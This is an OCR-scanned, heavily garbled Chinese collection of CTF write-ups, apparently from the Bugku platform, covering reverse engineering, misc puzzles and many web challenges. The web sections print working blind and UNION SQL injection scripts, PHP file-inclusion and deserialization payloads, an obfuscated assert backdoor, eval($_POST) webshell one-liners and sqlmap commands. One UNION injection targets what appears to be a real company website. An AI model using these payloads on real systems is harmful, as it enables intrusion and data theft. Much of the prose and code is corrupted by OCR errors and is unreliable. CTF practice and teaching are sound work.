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string = 'e3nifIH9b_C@n@dH'

s =

for index in range(len(string)):

s += chr(ord(string[index]) - index);
print(s)
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if(MainActivity.this.check(vl, 99) == 1835996258) {
this.val$tvl.setText("The flag is:");
this.val$tv2.setText("alictf{" + MainActivity.this.stringFromINI2(v1) + "}");

)
else {

this.val$tvl.setText("Not Right!");
b

stringFromJNI2 i T8 24 AR H 2 HT
check %R H native i%% chec, i ida $T7F libs/armaebi/liblhm.so £
Java_net_bluelotus_tomorrow_easyandroid_MainActivity chec i3, F& {55

int chec(int al, int a2, int a3, int a4)
{
= (*(int (**)(void))(*(_DWORD *)al + 24))();
v10 = _INIEnv::GetMethodID(al, v5, "checkl", "(II)I");
vll = _JNIEnv::GetMethodID(al, v5, "check2", "(II)I");
v12 = _INIEnv::GetMethodID(al, v5, "check3", "(II)I");
if (a4 <=1)
result = a3;

else
result = _JINIEnv::CallIntMethod(al, a2, *(&vle + 2 * a4 % 3));
return result;

*(&v10 +2 * a4 % 3) #l /& KM check1 check2 check3 HiEFEUR HIME— AN R £, 1M = AN BREFR TR ZE A int 4L
MIERfEIETE 2 RIJE, H— MR R3, 5 /M2
R RATABE 52 M5 ida, &I ABEHIET check1 & B LANSHG At bLE S ML 0

il ida Rt

.text:00000E92 040 STR R3, [SP,#0x40+var_30] ; [SP,#0x40+var_30] = R3 = s
.text:00000ED8 040 LDR R6, [SP,#0x40+var_30] ; R6 = s

.text:00000EDC 040 SUBS R6, #1 ; R6--

.text:00000EF2 040 STR R6, [SP,#0x40+var_40] ; [SP,#0x40+var_40] = R6
.text:00000EF4 040 LDR R1, [SP,#0x40+var_2C]

.text:00000EF6 040 LDR R3, [SP,#0x40+var_34]

.text:00000EF8 040 BL _ZN7_JINIEnv13CallIntMethodEP8 jobjectP10 jmethodIDz ;

tMethod(_jobject *, jmethodID *,...)
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_INIEnv::CallIn
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= check 2R ¥, check1 ¥ input i 4950, check2 ¥ input Nk 499500, check3 ¥ input i 49995000;
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r=20

for i in range(99, 1, -1):
p=2%*1i%3

if(p == 0):

r += 4950

if(p == 1):

if((i - 1) %2 ==20):
r += 499500

else:
r -= 499500

if(p == 2):

r += 49995000

print (1835996258 - r)
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s=[

[771,

[5628, 62327,

[29052,1558, 26150],

[12947,29926,11981,22371],

[4078, 28629,4665, 2229, 24699],

[27370,3081, 18012,24965,2064, 26890],

[21054,5225, 11777,29853,2956, 22439,3341],

[31337,14755,5689, 24855,4173, 32304,292, 5344],

[15512,12952,1868, 10888,19581,13463,32652,3409, 28353],

[26151,14598,12455,26295,25763,26040,8285, 27502,15148,4945],

[26170,1833, 5196, 9794, 26804,2831, 11993,2839, 9979, 27428,6684],

[4616, 30265,5752, 32051,10443,9240, 8095, 28084,26285,8838, 18784,6547],

[7905, 8373, 19377,18502,27928,13669,25828,30502,28754,32357,2843, 5401, 10227],

[22871,20993,8558, 10009,6581, 22716,12808,4653, 24593,21533,9407, 6840, 30369,2330],

[3, 28024,22266,19327,18114,18100,15644,21728,17292,8396, 27567,2002, 3830, 12564,1420],

[29531,21820,9954, 8319, 10918,7978, 24806,30027,17659,8764, 3258, 20719,6639, 23556,25786,11048],

[3544, 31948,22, 1591, 644, 25981,26918,31716,16427,15551,28157,7107, 27297,24418,24384,32438,22224],
[12285,12601,13235,21606,2516, 13095,27080,16331,23295,20696,31580,28758,10697,4730, 16055,22208,2391, 20143],
[16325,24537,16778,17119,18198,28537,11813,1490, 21034,1978, 6451, 2174, 24812,28772,5283, 6429, 15484,29353,594
2],

[7299, 6961, 32019,24731,29103,17887,17338,26840,13216,8789, 12474,24299,19818,18218,14564,31409,5256, 31930,268
04,9736]]

for i in range(9, 20):
for j in range(9, 20):
if j <= 1i:
print("%-6d" % s[i][j], end=" ")
print("'")
print('\n")

# 1 KT, J w7
for i in range(1, 20):
for j in range(9, 20):

if j <= i:

i g ==

s[i]1[J] += s[i - 1][31;
elif j == i:

s[1][j] += s[i - 1][j - 1];
else:

s[1][3] += max(s[i - 1][3], s[i - 1][J - 11);

for i in range(9, 20):
for j in range(9, 20):
if j <= 1i:
print("%-6d" % s[i][j], end=" ")
print("'")
print('\n")

MAX = ©

for i in range(20):
if s[19][i] > MAX:
MAX = s[19][i]

print(MAX)
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sfi - 1], 2Rk LUy sli-101-1] @ik pPibHk, mAmREmAAREAE s[19]] o, KDt ks



Take the maze
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Firouterpassview#T 71, 4% Zuser
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binwalk & Bl Erar, f# kG flag.rar, e A SIBETRR =L T, BalEek, AR HER, flag?fEdjpglifiE, 1R
base64 i

linux???
BRlinuxfa o /0, BHEERkey (HriREHkaliBR, MEMEKRE Tkey==
PEZET], AHwebH?

wireshark¥T -, 755 =/ Mhttpfk SCHERBISE T —AJTEAR S, 75 F—/hitpfk SCH, base64ffty
@ini_set("display_errors","0");@set_time_limit(@);if(PHP_VERSION<'5.3.0"'){@set_magic_quotes_runtime(0);};echo("X

@Y");$F="C:\\wwwroot\\flag.tar.gz";$fp=@fopen($F, 'r');if(@fgetc($fp)){@fclose($fp);@readfile($F); }else{echo( 'ERR
OR:// Can Not Read');};echo("X@Y");die();

AR Bk 2 flagtar.gzBdE, AR RSHTN, A AT, Fox@yseecholt), 7o N ARG K
Iiflag

Hk—ERE


https://blog.csdn.net/qq_19861715/article/details/79403986
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Sk K BRIHDR(header chunk): &85 A PNGICIF H A7 () R Bt B AME 2, IF 24958 — D Hudla e i BLAE PNGEE i
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firo o o REEMRELAHE KT T

A8 WX 5 T 6
fiti Fewsa# Jyifg, fE2 56/ E G A Sl

#1391040**
head = 13910400000

f = open('password.txt','w")

for i in range(10000):
password = head + i
f.write(str(password) + '\n')

linux£7ifi 1

notepad$] Jf H #4¥key

DN

binwalkifi— T, K IArar, winhexd] T, JEi% bk < B EAE AN, SR 5507 Arar, MR BUE B, 25 IR
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SRIGERARE] T —4Erg, S pyiaml

matrix = [[@ for i in range(7,272)] for i in range(7,272)]
f = open('erwei.txt','w")
z = open('zuobiao.txt','r")
for i in range(7,272):
for j in range(7,272):
matrix[i-7][j-7] = ©

zuobiao = z.read().replace('(',"").replace(')","").split('\n")
for zb in zuobiao:

zb = zb.split(',")

matrix[int(zb[@])-7][int(zb[1])-7] = 1

f.write(str(matrix).replace('[[',"'").replace(']]","").replace('], [',"'\n").replace(',"',"'"))

convert

AN Fwinhex, AIHE, X105 S, F010editorS N 5@k scff, R hrar, ik, AR, 76K E
flag, base64f#iY



bin = 0b0101001001100001.............. #ILAL A I — T F
print hex(bin)
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#coding:utf-8
num = int(raw_input("iEHAES NS "))

temp = []
while num!=1:
for i in range(2,num+1):
if num%i == 0:

temp.append(i)
num /= i
break

print temp

1613667 fi# %102 * 503,

from PIL import Image

f = open('C:\\Users\\Administrator\\Desktop\\misc100.txt"','r")
length = 503

width = 122

img = Image.new("RGB", (length, width))

for i in range(length):
for r in range(width):

1 = f.readline().replace('\n',"'")

1 = 1.split(',")

#print L[O]

img.putpixel((i,r), (int(1[0]),int(1[1]),int(1[2])))
img.show()
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#coding:utf-8
import zipfile
import string
import binascii

def CrackCrc(crc):
for i in dic:
for j in dic:
for p in dic:
for q in dic:
s=1+j+p+q
if crc == (binascii.crc32(s) & Oxffffffff):
#print s
f.write(s)
return

def CrackZip():
for I in range(68):
file = 'out' + str(I) + '.zip'

f = zipfile.ZipFile(file, 'r')
GetCrc = f.getinfo('data.txt")
crc = GetCrc.CRC

# LU_E3TT IR BT CICRC32 [ 11925 5%
#print hex(crc)

CrackCrc(crc)
dic = string.ascii_letters + string.digits + '+/='

f = open('out.txt', 'w")
Crackzip()
f.close()

7t Python 2.x [fijii A<, binascii.cre32 firit 5 Hi 2k ) CRC HISCA[-2731, 2/31-1] LRI 77 584, A 75— KCRC 45 %

TELLRT, 752 A N A5 54, FroAin b & OXFfffk gt /7% 4. Wikt /2 Python 3.x A, it H 45500 [0, 2432-1] [H A6
FHo A, AT ASMIN_E & OXFfffff
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RIGIHAT TIRZ 24, A THE - RE YT, secret.pngfftiofsk AB3CTA ik A83C74, XkHMIE HIXANE T

IS R A ANgift )
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http://blog.csdn.net/wzy198852/article/details/17266507

47 49 46 38 39 61 18 01 18 @1 91 02 00 FE FF FF FF FF FF FF FF FF 00 00 00 21 FF 0B 58 4D 50 20 44 61 74 61 58
RN i fkgife9a, FIUANRKE, oLRZHEFIAMIE, 02 RPMRT|, e0fimtt, /5T —K&HFE FF FF FF FF FF FF FF FF 00 ©
0 RAERFUEFIER (A4 , 0ONIZZEMREBIF L FiNadodeM %R (REEHD » At AU L RHEFIRAEW? HIIH K, 91 —itil1e010
001, HEMEMBERKAM, BORNKRIHESET2(n +1), Hdn=b2blbe, HARMHINFIUM, 7 HMCKRGBIIHIX #E, FILEE
R THEET3x2(n +1), IUREF M RBNS1R, theesiir I, ol e2 ee 0e 0o ee ee FE FF FF FF FF FF FF FF @
@ 21 FF

K- I B B

binwalkil th—~rar, H %S, i BRI, &, SRR BRScE L)

FEW RS, RJEH— Mk, FTUUHSRME, R)EiE

4 http://c.bugku.com/U2FsdGVkX18tI8Yi7FaGiv6jK 1SBxKD30eYb520onYe0=, IZ35CAESHAL, ZHOLEEL, RIGHNZM
bk, Z4ERS A —4mAT T

R R BT

cre32Hif fi
B H G EEE, IR 2% ere32hi4, [ R6T 1, Ak AN, (HARIEgT, BT
H.: https://github.com/theonlypwner/crc32

Y35 Je M b
T rla 72 the, T52K2| TP Mkey, #Bl—T,

import string

data = 'rla xymijgpf ppsoto wq u nncwel ff tfqlgnxwzz sgnlwduzmy vcyg ib bhfbe u tnaxua ff satzmpibf vszgen eyvl
atq cnzhk dk hfy mnciuzj ou s yygusfp bl dq e okcvpa hmsz vi wdimyfqqjqubzc hmpmbgxifbgi gqs lciyaktb jf clntkspy
drywuz wucfm'.replace(' ',"'")

oldkey = 'YEWCQGEWCYBNHDHPXOYUBJJPQIRAPSOUIYEOMTSV'

key =

for i in oldkey:
key += chr(ord(i) + 32)

print key

#flagZi, key{r = data
flag =

for i in range(0,len(data)):

tmp = ©

tmp = ord('z') - ord(key[i%len(key)]) + ord(data[i]) - ord('a') + 1
flag += chr(tmp % 26 + 97)

print flag

3. sha1 fiff&


http://c.bugku.com/U2FsdGVkX18tl8Yi7FaGiv6jK1SBxKD30eYb52onYe0=
https://github.com/theonlypwner/crc32

import hashlib,string
#XTH5-*4%3?
#619c20c *a4de755*9be9a8b*b7cbfa5*e8b4365*

str =
dic

string.printable
for i in dic:
for j in dic:
for k in dic:
for 1 in dic:
str =1+ '7" + 3+ '5-" + k+ ‘4" +1+ '3
shal = hashlib.shal(str).hexdigest()
if (shal[@:7] == '619c20c' and shal[8:15] == 'a4de755' and shal[16:23] == '9be9a8b' and shal[24:31] == 'b7cb
fa5' and shal[32:39] == 'e8b4365'):

print str + NN

MD5
http://blog.csdn.net/liangkwok/article/details/7441867

A A PR

T AEphpsett, 342 concent-type i iiimage/jpeg
58

AL buttonffimaxiengthi& i

webZtfitiget

HhhE A= I ?what=flag

webZtfilipost

import requests
res = requests.post('http://120.24.86.145:8002/post/"',data={"'what':"'flag'});
print res.text

WH BN C, 4 post, content-type:application/x-www-form-urlencoded, Z ¥iwhat=flag
x &

?num=1waefw

web3

SO easy


http://blog.csdn.net/liangkwok/article/details/7441867

S="'8&#75;&#69;&#89; &#123; &#74; &#50; &#t115 ; &#97 ; &#t52 ; &#t50 ; &7 ; &#t104 ; &t 74 ; &# 75 ; &#A5 ; &#t72 ; &#t83 ; &#t49 ; &#49 ; &#73 ; &#73 ;&
#73;&%#125; ' .replace('&#"',"'").split(';")
d=""
for i in s:
d+=chr(int(i))
print d

I 4 i pr

win N R4 #%/Windows/System32/drivers/etc/nosts

linux /etc/hosts

USIn—17, 123.206.87.240 flag.bugku.com

BFEEV M 123.206.87.240 B2 Host 7B flag.bugku.com

PR kAl ds T
Hiburpdled, fEmI R At e] LA Fiflag
A A

include "flag.php";
$a = @$_REQUEST[ ‘hello’];
eval( "var_dump($a);");

BT X =47, FRATAT DAE A s i flag.php B HdE, A8 31 T file_get_contents, “BE3CA: SCPRIAT AN R HR LT
(ERIUE RN

X 1% R AL F v2string file_get_contents ( string $filename [, bool $use_include_path = false [, resource $context [, int $offset = -1
[, int $maxlenT]]] )

file_get_contents(“flag.php”) fit Eonstring I E, (HRTEHNE, A RE2X K B AT 1 BRI

file_get_contents(“flag.php”,NULL, NULL,60)

HSE A PLIXFE file(‘flag.php’) Jfile()244l Sfile_get_concents, A~ )& LAE 2L T 20K [A]

A —FIRERAL TR T, A — T

hello = 1);var_dump(file_get contents($_POST['f]));//

RS 44 f=php:/filter/read=convert.nase64-encode/resource=flag.php

BEASHGETAPOST, H4Min_Concent-Type, Content-Type: application/x-www-form-urlencoded

A1

TEN A A/MNW+S/: Tk ILHC 7 B B R Rl 2 — el 22 R RIS
AAMNERE S $$args,

$$str 1] LB fFE N $( $str), $str="cd”, M4 HE$cd = $$str = “landog”;
SRIE B AE B T phpiti g 4 Jm A &, BEESY T —4Y ' GLOBALS'#i#£ % T flag
Bt POSTHAT, ik

web5
jsfuck
burp#i
oA 35 45

S04 shell.php, #EAFHburpBa2d, W53 flag


http://flag.bugku.com

EHRARG

MR ILRKIEGH A base64 Jifld (7778, MY JFHE IR 2%, FEMH 44 admin, $252 7500 X-Forwarded-For
127.0.0.1, HPANLHHE,

Web4

N L

eval(unescape(pl) + unescape( '%35%34%61%61%32"' + p2));
/*
function checkSubmit(){
var a=document.getElementById("password");
i1f("undefined"!=typeof a){
1f("67d7609b2b54aa2aa648cf6e87a7114f1"==a.value)
return 10;

alert("Error");

a.focus();
return !1
}
}
document.getElementById("lLevelQuest").onsubmit=checkSubmit;
*/

BA R IX A &, H B2 67d709b2b54aa2aa648cf6e87a7114f15 T 7 @_@
flag7tindex &

file=php:/ffilter/read=convert.base64-encode/resource=index.php

W\ %15 & Fflag

A B AT T

#coding:utf-8
import requests
host = 'http://123.206.87.240:8002/baopo/?yes"
for i in range(@,100000): #/—HiH#iR, AfLIEEirange, M HE 07 EITF4G
passwd = str(i).zfill(5)
print(passwd)
res = requests.post(host, data={'pwd':passwd})
if bytes('HMAIEH, WA, encoding = "utf-8") in res.content :
continue
else:
print(res.text)
break

Ridi—H AR
A js 2, KIUEDNREARME ., FATH BRI R DIREAAT 1, fEhtmI i LAUR JLAT

<form action="" method="post">
<input type="text" name="clicks" value="1000000"/>
<input type="submit" value="Submit">
</form>

SR 5 ridi submit BAT 1

RS



FHRW:

import requests

host = "http://123.206.87.240:8002/chengjidan/index.php"

strl = "' or substring((select schema_name from information_schema.schemata limit "
str2 = ",1),"

str3 = ",1)=""

strd = "'y "

for i in range(9, 15):
for j in range(1, 15):
for k in range(48,123):
payload = strl + str(i) + str2 + str(j) + str3 + chr(k) + str4
#print(payload)
res = requests.post(host, data={'id':payload})
#print(len(res.content))
if len(res.content) == 1224:
print(chr(k), end="")
break
print('\n',end="")

XA LA schema, SRJG FEIEEHAT 17, ABES T, K
BRI T SEAN:
' union select 1,2,3,group_concat(schema_name) from information_schema.schemata;#

' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema like '%SKCTF_FLA
G%';#

' union select 1,2,3,group_concat(column_name) from information_schema.columns where table name='fl4g';#

' union select 1,2,3,group_concat(skctf_flag) from flag ;#

SQLmap:
ANFTE S A IEXAS AT LA

sqlmap -u http://120.24.86.145:8002/chengjidan/index.php --forms --dump --batch

{HAEZXAATLL, burp.txt Z&burp A £l :

sqlmap -r burp.txt --batch --dump
sqliEA

REHMEXATER A, WE T wpA M, HRIBANAEE AT, HokiEgs —

BURACRE I, AR 6 75 N

id=1" &AL, ATRER\IEAT T # X

id=1%df%27 $&/niiiR, MRiEgbkdmiy, #— A7 Tascify k1128, Ml NHAFIARE —ANDFE, BTLL%dFRS [\
FE%S5CE R | — N E”, IR T ﬁﬁf%, BRIV DIENT o (52FR_EGB23123: %75 df5cxt M 1L F)

select databas() 3% %

id=1%df%27union%20select%201,string%20from%20sql5.key%23

http://www.cnblogs.com/lcamry/articles/5625276.html

AT HEEER, WTREPHPIEREMYSQLA 7474 % gbkitl .  F34hERIAML, PHPXIFTAH) GET. POST 1 COOKIE %4 H #hiz 1T
addslashes(). addslashes() ##R [0 7E 7l SCFRF 2 BT ISR (1 255 5


http://www.cnblogs.com/lcamry/articles/5625276.html

sqliE A1

http://103.238.227.13:10087/?id=2 uni<a>on sel<a>ect group_concat(tab<a>le _name),1 fro<a>m info<a>rmation_schema
.ta<a>bles whe<a>re ta<a>ble_schema=database()

http://103.238.227.13:10087/?id=2 uni<a>on sel<a>ect group_concat(column_name),1l fro<a>m info<a>rmation_schema.c
olumns whe<a>re ta<a>ble_name="key"

http://103.238.227.13:10087/?id=2 uni<a>on sel<a>ect hash,1 fro<a>m sql3.key //FIREFINETM) T, FroAZm .

phpcmsV9
FZWIR A LR, REHZETIE BT T
#FFecms

W AR omsiwil — KHE, X )JLE— T payload

searchtype=5&searchword=
{if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=
(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=0ST[9]))&9[|=pr&int_r(glob("*.txt"));

searchtype=5&searchword=
{if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=
(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=0ST[9]))&9[]=va&9[]=r_dump(file_get contents(“flag32#.txt"));

Hil 2 K
phpEL AR ERAFINES, WFARZ. « o o o FIFBER,

<?php
if(isset($ GET['vl']) && isset($ GET['v2']) && isset($ GET['v3'])){
$vl = $ GET['vl'];
$v2 = $§ GET['v2'];
$v3 $ GET['v3'];
if($vl != $v2 && md5($vl) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;

}

?>

E—F, WHEmMASKIARTR, BE SflagZE &A1 AR E, SZMDS5Mstremp#RA7ESRiE, MD5FstrempBey iR i 1) A H %
4, Mithttp:/47.93.190.246:49162/?2v1[]=1&V2[]=2&V3[]=3
PHP%% Hb () 75 1 45 15— 5 AH 25 VR hitp -/Avww.cnblogs .com/whdam1/p/6687 199 .htm

javascript

A Escript, H4ZE A postii]

import requests

host "http://120.24.86.145:9001/test/"

resp = requests.post(host, data={'clicks' : 1000000})
print resp.text.encode('gbk', 'ignore')

cookiesik ¥ ? ?


http://www.cnblogs.com/wh4am1/p/6687199.html

filename base64f#id &keys.txt, flindex.php base64 %, RIGHEAT. BHRMN? I Lline=1.
RE G A RE S SN2 .

<?php

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$ GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=="") header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(

'9' =>'keys.txt',

'1' =>'index.php"',

)

if(isset($_COOKIE[ ‘margin']) && $_COOKIE[ 'margin’']=="margin'){
$file_list[2]="keys.php"';

¥

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

¥

?>

VRSHEAT T, BATR T
XSS

HEBEAER A SHURI, XANEEE T <>, B Hunicodednibgeid payload:

id=\u@@3cscript\uee3ealert(_key )\uee3c/script\uoe3e

never give up

X Hburp A, KIS 1p.html, HEA, 80N A A htmIf LY

var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--ITIyJTN
CaWY1MjglMjEIMjRFROVUITVCITIZ3aWQ1IMjcINUQIMjk1IMEEINOIIMEE IMD10ZWFkZXI1MjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRm1
kI TNEMSUyNyUy0SUzQiUwQSUwOWV4aXQ1MjglMjk1MOIIMEEINOQIMEE1IMIRpZCUZRCUYNFOHRVQINUI 1M dpZCUyNyU1RCUZQiUWQSUYNGE1MOQ
1MjRFROVUITVCITI3YSUyNyULRCUZQiUwQSUYNGI1MOQIMIRFROVUITVCITIZYiUyNyU1RCUZQiUwQWImITI4c3RyaXBvcyUyOCUyNGE1MKMIMIc
uJTI3JTISITISITBBITACITBBITASZWNobyUyMCUyN25vITIwbm81MjBubyUyMG5vITIwbm81MjBubyUyMG5vITI3ITNCITBBITAScmVOdXJuJTI
wJITNCITBBITAEITBBITIOZGFOYSUYyMCUZRCUYMEBmaWx1X2d1dF9jb250ZW58cyUyOCUyNGE IMkMIMjdyITI3ITI5ITNCITBBaWY1MjglMjRKYXR
hJTNEJTNEJTIyYnVna3UlMjBpcyUyMGE1MjBuaWN1ITIwcGxhdGVmb3JtITIXITIyJTIwYWS5kITIwITIOaWQIMOQIMOQwITIwYWS5kITIwc3RybGV
uJTI4JTIOYiUyOSUZRTUIMjBhbmQ1MjB1lcmVnaSUyOCUyMjEXMSUYMi5zdWIzdHIIMjglMjRiITIDMCUYQZE1IMGkIMKMIMIIXMTEQITIyITISITI
WYW5kJITIwc3Vic3RyITI4ITIOYiUyQzAIMkMxITIS5ITIXITNENCUYyOSUWQSU3QiUwQSUwOXI1cXVpcmUIMjglMjImNGwyYTNnLnR4dCUyMiUyOSU
zQiUwQSU3RCUWQWVsc2UIMEEINOIIMEEIMD1wcmludCUyMCUyMm51dmVyJTIwbmV2ZXI1MjBuZXZ1ciUyMGdpdmU1MjB1cCUyMCUyMSUyMSUyMSU
yMiUzQiUwQSU3RCUWQSUwQSUwQSUzRiUzRQ%3D%3D--%3E"

H— B F Rk basebAdmhid 1), A THGHANES GLEUAZEE) , @ig)E, FHurlf@id, KIhello.phpr)iiig
phpiliE0e k¥ == 0, php:/finput Z¢itfile_get contents, 25 Bk i 5 u. A5 geid 1E ik R UL D

payload: http://120.24.86.145:8006/test/hello.php?id=0e123&a=php://input&b="23456
postdata: bugku is a nice plateform!

welcometobugkuctf

?txt=php:/input&file=php:/filter/read=convert.oase64-encode/resource=index.php&password=2 F il php://input 1 php:/filter i 1
FICRINES, POSTHIEHE 5 welcome to the bugkuctf

index.php:


http://120.24.86.145:8006/test/hello.php?id=0e123&a=php://input&b=*23456

<?php

$txt = $ GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt)&&(file_get contents($txt, 'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";

if(preg_match("/flag/",$file)){
exit();

telse{

include($file);
$password = unserialize($password);
echo $password;

¥

telse{
echo "you are not the number of bugku ! ";
¥

?>

<l--

$user = $ _GET["txt"];

$file = $_GET["file"];

$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user, 'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";

include($file); //hint.php

telse{

echo "you are not admin ! ";

}

-->

hint.php:

<?php

class Flag{

//flag.php

public $file;

public function _ tostring(){
if(isset($this->file)){
echo file_get contents($this->file);
echo "<br>";
return ("good");

}
}

?>

preg_match("/flag/,$file), AHEE: Hiflag.php @ Anl LA, (EZ AT LIk i&Epassword #1744k, include($file) #% hint.php £ & ik
k, HAHA  tostring()

http://120.24.86.145:8006/testl/?txt=php://input&file=hint.php&password=0:4:"Flag":1:{s:4:"file";s:8:"flag.php";
}

login1
sqIZ R
oy — ) i



<?php $poc="at#s#s#e#tr#t"; $poc_l=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$po
c_1[5]; $poc_2($ _GET['s"]) ?>

$poc_2 /& assert
T LART AN FniE assertit REAT AT 2 1, ILRE R &P
payload : ?s=var_dump(glob("."))

/NBR I T
fE3% 1]
5 Fh e it &

PARI O — N 2ZEA 2, RN as e, HibbF2IE S 2uname]]=1&id=margin, GETX&POST, #headeris/lContent-Type:
application/x-www-form-urlencoded;

web8

http://120.24.86.145:8002/web8/?ac=123&fn=php://input
php:/finput £¢id, post dataifi123

FRFIEN ?

¢ FEIE U] VT e B ] http//www.cnblogs.com/hellohell/p/5718319.html
Fpayload: id=keylkeylkeylkeylkey1key:/1/1keya:punct:

EF W

firobots.bt>CfF, F1JF, M7 — A php3Cfl, ZREmEN, MG RSE N Zadmin, 53flag

sk getshell

At JE 4 php5, 3L content-type :  mUltipartform-data; K5 %eit, F I content-type: image/jpeghi ]
flag.php

$errhint, (HJ2 NERKIRAEAF]Zget hintle ?

EHBHE RSB N ?hint=1, & 2D, ¥ 51kcookie Bl T, (HiEEIXESKEYHARE L, FreA"$SKEY"JEA &
ISecer:www.isecer.com , & N%

fit bApayload=s:0:""

web15

SEE ST IR B A W 2 f 2 F x-forwarded-forsi Bl sqli A
REl R, HpgssliE TR E

>


http://www.freebuf.com/vuls/152058.html
http://120.24.86.145:8002/web8/?ac=123&fn=php://input
http://www.cnblogs.com/hellohell/p/5718319.html

import requests

import string
url="http://120.24.86.145:8002/web15/"
allString=string.digits + string.letters
flag=""

for i in range(1,33):
for strl in allString:
data="11"' and (select case when (substring((select flag from flag ) from {0} for 1 )='{1}') then sleep(4) else
1 end ) );#".format(str(i),strl)
print data
headers={"x-forwarded-for":data}
try:
res=requests.get(url,headers=headers,timeout=4)
except requests.exceptions.ReadTimeout, e:
flag += strl
print flag
break
except:
continue
print 'flag:' + flag

K payload: 11" and (select case when (substring((select flag from flag ) from {0} for 1 )="{1}') then sleep(4) else 1 end ) );#
WIS F IR AFIRIWE 2 payload )] 4

1. 11’ and (select case when (substring((select group_concat(table_name) from information_schema.tables where
table_schema=database()) from {0} for 1 )="{1}) then sleep(4) else 1 end ) )#

2. 11’ and (select case when (substring((select group_concat(column_name) from information_schema.columns where
table_name='flag’) from {0} for 1 )="{1}’) then sleep(4) else 1 end ) );#

A2

HEHEN S, F128 8L T 5D 45 upload.php i H./upload/ml iz, i —& 152 S0 bAE, (R H BHE R SOF a4 |
tip#% Skt include.php AR AT 15t 14 BB SO0 3 2o 5l — N

SERSR T —HET O RIR BINANVEN. L [81 ) A% g BRI

FEEAND (ESE EIHREARATMIMER S, EESHEAERD

RILIEIE T <?php F1?>,3% BL45 H PR geid )52

<?=@eval($_POST['cmd']);
<script language="php">eval($_POST['cmd']);</script>

<?=%a;?>
It's a shorthand for <?php echo $a; ?>.
It's enabled by default since 5.4 regardless of php.ini settings.

WA, 4RJ5 Fupload.php & ARG LAphpiz 7HI, T A7 2 Finclude.php(index.php)H ffifile s & A1 Frupload H 5% 9 B A S !
S5 ELAE I R
SKCTF{uP104D_1nclud3_426fh8_is_Fun}

SEHRIEA2



IRFETE, REERHRIEAN AL A — 5, R 7, Hik%payload |

http://mww.kabelindo.co.id/readnews.php?id=159 union select 1,database(),database(),database(),5#

AT 2 REHCEE, BrLAFRS 14 )L database(), #5321 H 4 Fru9897uwx_kabel, 25 =AHiJ7 &A%, BTEAABR KR
http://www.kabelindo.co.id/readnews.php?id=159 union select 1,2,group_concat(table_name),4,5 from information_schema.tables
where table_schema=database()#

EZN

1 it

17 LA

1A=\l

1'Mascii(select database())>300)M1’1="1 nJ L\

payload: 1'(ascii(substring((select database())from 1))=3)""1"1="1
{HE o nkyEfor, HSE4JME? information_schemai ik FH I

import requests,string
url = "http://120.24.86.145:9004/1ndex.php?id="
s = requests.session()
str = "'
dict = string.digits + string.letters
for i in range(10):
for j in dict:
#res = s.get(url + "1'7(ascii(substring((select database())from {0}))={1})~'1"'!="1".format(i,0rd(j)))
#res = s.get(url + "1'7(ascii(substring((select group concat(table_name) from information_schema.tables where
table_schema=database())from {6}))>{1})*'1"!="1". format(i,ord(j)))
#res = s.get(url + "1'7(ascii(substring((select group concat(column_name) from information_schema.columns)from
{0}))>{1})~'1"!1="1". format(i,ord(j)))
if 'seriously' in res.content:
str += j
print str
break
print str

1]
sqliE A2

1. KIlusername="="JE R Y |, BInE 1%
R R
admin’="admin A~AJ A
‘="NMadmin'l="admin " LL, ANEEARS S A S, REBAAT, WAL, BEgEd AT
payload: v=aa(ascii(mid((passwd)from(1)))=47)n!=‘


http://www.kabelindo.co.id/readnews.php?id=159%20union%20select%201,database%2528%2529,database%2528%2529,database%2528%2529,5#
http://www.kabelindo.co.id/readnews.php?id=159%20union%20select%201,2,group_concat%2528table_name%2529,4,5%20from%20information_schema.tables%20where%20table_schema=database%2528%2529#

import requests,string
url = "http://120.24.86.145:8007/web2/1login.php"
s = requests.session()
#payload = "'=''~(ascii(mid((passwd)from(1)))=47)"""1=""
passwd=""
dict = string.digits + string.letters
for i in range(33):
for j in dict:

print j
res = s.post(url, data={'uname':"'="'"'~(ascii(mid((passwd)from({0})))={1})~""I="".format(i,ord(j)), 'passwd':'1l
'}

if 'username error' in res.content:
print res.text.encode('gbk', 'ignore")
passwd+=j
print passwd
break

print passwd

mdSAFE AT 1, EFRRGls, e
2.7 T HAK R Iwp, JEIRAZ HsqREARMH), M2 EKAEEM, Mnikto, B, KFATZER

wordpress

Ao, Whidisun, KT, Adsks, A4 Asun, %65°519980321, #4 TRE%HM Hmmp. « « SRJ5 AT
B, RIA—ADEEEFE, GWANFERE, HEsEEa, &KPlphpmyadmin, http://wp.bugku.com/phpmyadmin/, W
SEMENIA R, AR E T R Diflag. EODIX M AL S, o NE SR AR SR E SRS A= =

login3

username=admin {7 7F {H & % 65 A 1

username=admin’ Jf] /" %4 AN {7AE

username=" & N IEVE FIF

username=admin’and(1=1) 2T 5 fland#B 1%
username=admin'# F g iR, U515 # H A L UE
FESERPOLIE, 2SR T

31— Rusername=admin’ 1 username=admin’# [1X 3, w] LLAS S CHE & 1% «
where username = ‘)1 4’
and password = ‘%5’

BH R AR B, e E—@
username=1 | " RIEAE
username=1’or(1# &3 A IE7f

FEP] 87— L6 ¥ PR R 2

http://www.cnblogs.com/xiangxiaodong/archive/2011/02/21/1959589.html

K S IE 7, BTl Rk A 125 19:

username=1’or(position('a’in(select(database())))< 1) B IIiEN

username=1’or(length((select(database())))>7 )# fi fift t K ¥ i K i A8

